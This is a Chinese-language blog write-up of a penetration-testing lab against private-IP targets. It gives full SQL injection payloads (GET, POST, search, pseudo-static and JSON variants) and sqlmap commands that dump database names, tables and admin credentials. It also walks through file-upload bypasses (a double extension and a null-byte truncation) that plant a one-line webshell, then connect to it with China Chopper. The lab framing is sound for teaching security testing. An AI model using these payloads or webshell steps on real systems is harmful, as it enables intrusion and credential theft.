0x01 SQL注入
1.GET型SQL注入
http://192.168.0.8:2333/pentest/sql-injection-get.php?id=1
测试该url存在注入,且字段数为3
http://192.168.0.8:2333/pentest/sql-injection-get.php?id=1' order by 3--+
找回显2,3字段有回显
192.168.0.8:2333/pentest/sql-injection-get.php?id=-1' union select 1,2,3--+
![](https://img.haomeiwen.com/i10976729/f06654bed46c2e1e.png)
爆数据库
http://192.168.0.8:2333/pentest/sql-injection-get.php?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
![](https://img.haomeiwen.com/i10976729/a4ae3915a1e6696d.png)
![](https://img.haomeiwen.com/i10976729/2e70a21bfb30bdcb.png)
后续。。。。。。。你懂的
2.POST型注入
2.1sqlmap
抓一个POST包,另存为a.txt
![](https://img.haomeiwen.com/i10976729/5fd6d4b7a207d9dc.png)
python sqlmap.py -r C:\Users\CHEN\Desktop\a.txt
![](https://img.haomeiwen.com/i10976729/0945c2af42c36c80.png)
然后跑出每个库中的表
python2 sqlmap.py -r C:\Users\CHEN\Desktop\a.txt -p uname --tables
![](https://img.haomeiwen.com/i10976729/84e66bfcc7c2d161.png)
2.2 手工
1' union select group_concat(database()),2 from information_schema.schemata#
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pentest'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
1' union select group_concat(username,password),2 from admin#
3.search型SQL注入
判断字段
![](https://img.haomeiwen.com/i10976729/58df5204ea0ce756.png)
![](https://img.haomeiwen.com/i10976729/b8ce3b96334b289d.png)
爆数据库
admin' and 1=2 union select group_concat(schema_name) from information_schema.schemata#
![](https://img.haomeiwen.com/i10976729/dc9dfd149602c6ff.png)
4.伪静态注入
0x01伪静态注入1
emmmmmmm这好像是我第一次做伪静态的注入,讲真,之前还老是分辨不清伪静态和真静态QAQ
找出注入点很easy,但是不太会构造,然后尝试了很多次去构造
按照惯例,我们先判断字段数,一开始自己想的复杂了,还是不熟练sql注
http://192.168.0.26/pentest/userid-1' and 1=1 order by 3--+.html
让他前面报错,找回显
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,2,3--+.html
爆数据库(下面两个都行,只不过上面那个只查询出当前数据库,下面那个查询出该服务器上所有的)
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(database()),3 --+.html
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+.html
爆pentest数据库的表
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest'--+.html
![](https://img.haomeiwen.com/i10976729/f6eba62b2168e361.png)
查询admin表的字段
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin'--+.html
![](https://img.haomeiwen.com/i10976729/5d4e15c296113a68.png)
获取账号密码
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat('username',';','password'),3 from admin--+.html
![](https://img.haomeiwen.com/i10976729/deb331e0023704b4.png)
0X02伪静态注入2
常规找注入,查字段,找回显
![](https://img.haomeiwen.com/i10976729/73c326f17b8475ae.png)
爆数据库
http://192.168.0.102/pentest/userid/-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+/getpassword.html
![](https://img.haomeiwen.com/i10976729/90999d86eda0b6d9.png)
剩下的。。。。
5.JSON注入
admin' and 1=2 union select group_concat(schema_name) from information_schema.schemata--+
![](https://img.haomeiwen.com/i10976729/df06e0d2651e6db3.png)
![](https://img.haomeiwen.com/i10976729/d3531869b96a4a04.png)
0x03 上传
在上传之前我们先看一下源码进行一下分析,他检测的是上传文件的后缀,且这是PHP的网站
![](https://img.haomeiwen.com/i10976729/421d5c6e33d885f3.png)
抓包改后缀
我们可以写一个一句话的木马,文件后缀改为.php;.jpg
然后上传绕过js前端验证,抓包,把文件后缀.php;.jpg改为.php 然后成功上传返回路径,然后用菜刀连接
![](https://img.haomeiwen.com/i10976729/0d797ede18bb27cc.png)
![](https://img.haomeiwen.com/i10976729/07538ef8e0b1c8ae.png)
00截断
上传文件名为“00jieduan.php+.jpg”的一句话木马,然后抓包,把加号(+) 0x2b改为0x00然后发包
![](https://img.haomeiwen.com/i10976729/7386dd6697dbbc57.png)
上传成功,访问木马http://192.168.171.142/pentest/uploads/00jieduan.php,用菜刀连接
改前端js
![](https://img.haomeiwen.com/i10976729/a995b40e22563be7.png)
![](https://img.haomeiwen.com/i10976729/8045f43078a76b4f.png)
网友评论